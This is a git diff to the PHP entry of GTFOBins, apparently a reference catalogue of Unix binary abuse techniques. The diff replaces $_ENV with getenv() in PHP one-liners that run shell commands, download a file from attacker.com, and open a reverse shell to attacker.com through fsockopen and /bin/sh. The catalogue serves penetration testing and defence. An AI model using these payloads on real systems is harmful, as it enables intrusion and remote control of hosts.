diff --git a/_gtfobins/php.md b/_gtfobins/php.md
index 7944ba5..7b22700 100644
--- a/_gtfobins/php.md
+++ b/_gtfobins/php.md
@@ -3,22 +3,22 @@ functions:
   exec-non-interactive:
     - code: |
         export CMD="ls /"
-        php -r 'system($_ENV["CMD"]);'
+        php -r 'system(getenv("CMD"));'
     - code: |
         export CMD="ls /"
-        php -r 'passthru($_ENV["CMD"]);'
+        php -r 'passthru(getenv("CMD"));'
     - code: |
         export CMD="ls /"
-        php -r 'print(shell_exec($_ENV["CMD"]));'
+        php -r 'print(shell_exec(getenv("CMD")));'
     - code: |
         export CMD="ls /"
-        php -r '$r=array(); exec($_ENV["CMD"], $r); print(join(\"\\n\",$r));'
+        php -r '$r=array(); exec(getenv("CMD"), $r); print(join(\"\\n\",$r));'
     - code: |
         export CMD="ls /"
-        php -r '$h=@popen($_ENV["CMD"],"r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'
+        php -r '$h=@popen(getenv("CMD"),"r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'
     - code: |
         export CMD="ls /"
-        php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open($_ENV["CMD"], $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'
+        php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open(getenv("CMD"), $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'
   upload:
     - description: Serve files in the local folder running an HTTP server.
       code: |
@@ -30,11 +30,11 @@ functions:
       code: |-
         export URL=http://attacker.com/file_to_get
         export LFILE=where_to_save
-        php -r '$c=file_get_contents($_ENV["URL"]);file_put_contents($_ENV["LFILE"], $c);'
+        php -r '$c=file_get_contents(getenv("URL"));file_put_contents(getenv("LFILE"), $c);'
   reverse-shell:
     - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
       code: |
         export RHOST=attacker.com
         export RPORT=12345
-        php -r '$sock=fsockopen($_ENV["RHOST"],$_ENV["RPORT"]);exec("/bin/sh -i <&3 >&3 2>&3");'
+        php -r '$sock=fsockopen(getenv("RHOST"),getenv("RPORT"));exec("/bin/sh -i <&3 >&3 2>&3");'
 ---